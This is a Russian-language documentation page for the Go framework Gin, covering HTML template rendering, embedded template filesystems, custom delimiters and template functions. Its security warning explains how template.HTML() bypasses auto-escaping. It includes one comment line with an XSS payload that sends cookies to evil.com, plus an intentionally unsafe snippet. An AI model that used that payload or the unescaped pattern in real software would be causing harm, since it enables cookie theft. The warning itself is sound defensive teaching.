Перейти к содержимому

Рендеринг HTML

Gin использует пакет html/template для рендеринга HTML. Для получения дополнительной информации об использовании, включая доступные плейсхолдеры, смотрите документацию text/template.

Используйте LoadHTMLGlob() или LoadHTMLFiles() для выбора HTML-файлов для загрузки.

func main() {
router := gin.Default()
router.LoadHTMLGlob("templates/*")
//router.LoadHTMLFiles("templates/template1.html", "templates/template2.html")
router.GET("/index", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.tmpl", gin.H{
"title": "Main website",
})
})
router.Run(":8080")
}

templates/index.tmpl

<html>
<h1>
{{ .title }}
</h1>
</html>

Использование шаблонов с одинаковым именем в разных директориях

func main() {
router := gin.Default()
router.LoadHTMLGlob("templates/**/*")
router.GET("/posts/index", func(c *gin.Context) {
c.HTML(http.StatusOK, "posts/index.tmpl", gin.H{
"title": "Posts",
})
})
router.GET("/users/index", func(c *gin.Context) {
c.HTML(http.StatusOK, "users/index.tmpl", gin.H{
"title": "Users",
})
})
router.Run(":8080")
}

Примечание: Пожалуйста, оберните ваш HTML-шаблон в блок {{define <template-path>}} {{end}} и определите файл шаблона с относительным путём <template-path>. В противном случае GIN не сможет корректно разобрать файлы шаблонов.

templates/posts/index.tmpl

{{ define "posts/index.tmpl" }}
<html><h1>
{{ .title }}
</h1>
<p>Using posts/index.tmpl</p>
</html>
{{ end }}

templates/users/index.tmpl

{{ define "users/index.tmpl" }}
<html><h1>
{{ .title }}
</h1>
<p>Using users/index.tmpl</p>
</html>
{{ end }}

Загрузка шаблонов из http.FileSystem (v1.11+)

Если ваши шаблоны встроены или предоставлены через http.FileSystem, используйте LoadHTMLFS:

import (
"embed"
"io/fs"
"net/http"
"github.com/gin-gonic/gin"
)
//go:embed templates
var tmplFS embed.FS
func main() {
r := gin.Default()
sub, _ := fs.Sub(tmplFS, "templates")
r.LoadHTMLFS(http.FS(sub), "**/*.tmpl")
r.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.tmpl", gin.H{"title": "From FS"})
})
r.Run(":8080")
}

Предупреждение безопасности: template.HTML() обходит автоэкранирование

Пакет Go html/template автоматически экранирует значения, вставляемые в шаблоны, для предотвращения межсайтового скриптинга (XSS). Однако когда вы приводите строку к template.HTML(), вы явно обходите эту защиту. Если строка содержит пользовательский ввод, злоумышленник может внедрить произвольный JavaScript.

Небезопасно — никогда не используйте template.HTML() с пользовательским вводом:

// DANGEROUS: attacker controls userInput, which could be:
// <script>document.location='https://evil.com/?cookie='+document.cookie</script>
c.HTML(http.StatusOK, "page.tmpl", gin.H{
"content": template.HTML(userInput), // XSS vulnerability!
})

Безопасно — позвольте шаблонизатору автоматически экранировать пользовательский ввод:

// SAFE: html/template will escape any HTML/JS in userInput
c.HTML(http.StatusOK, "page.tmpl", gin.H{
"content": userInput, // auto-escaped by html/template
})

Используйте template.HTML() только для контента, который вы полностью контролируете, например статических HTML-фрагментов, определённых в вашем собственном коде. Никогда не используйте его со значениями, полученными от пользовательского ввода, полями базы данных, заполненными пользователями, или любым другим ненадёжным источником.

Пользовательский рендерер шаблонов

Вы также можете использовать собственный рендерер HTML-шаблонов

import "html/template"
func main() {
router := gin.Default()
html := template.Must(template.ParseFiles("file1", "file2"))
router.SetHTMLTemplate(html)
router.Run(":8080")
}

Пользовательские разделители

Вы можете использовать пользовательские разделители

router := gin.Default()
router.Delims("{[{", "}]}")
router.LoadHTMLGlob("/path/to/templates")

Пользовательские функции шаблонов

Подробный пример кода.

main.go

import (
"fmt"
"html/template"
"net/http"
"time"
"github.com/gin-gonic/gin"
)
func formatAsDate(t time.Time) string {
year, month, day := t.Date()
return fmt.Sprintf("%d/%02d/%02d", year, month, day)
}
func main() {
router := gin.Default()
router.Delims("{[{", "}]}")
router.SetFuncMap(template.FuncMap{
"formatAsDate": formatAsDate,
})
router.LoadHTMLFiles("./testdata/template/raw.tmpl")
router.GET("/raw", func(c *gin.Context) {
c.HTML(http.StatusOK, "raw.tmpl", map[string]interface{}{
"now": time.Date(2017, 07, 01, 0, 0, 0, 0, time.UTC),
})
})
router.Run(":8080")
}

raw.tmpl

Окно терминала
Date: {[{.now | formatAsDate}]}

Результат:

Окно терминала
Date: 2017/07/01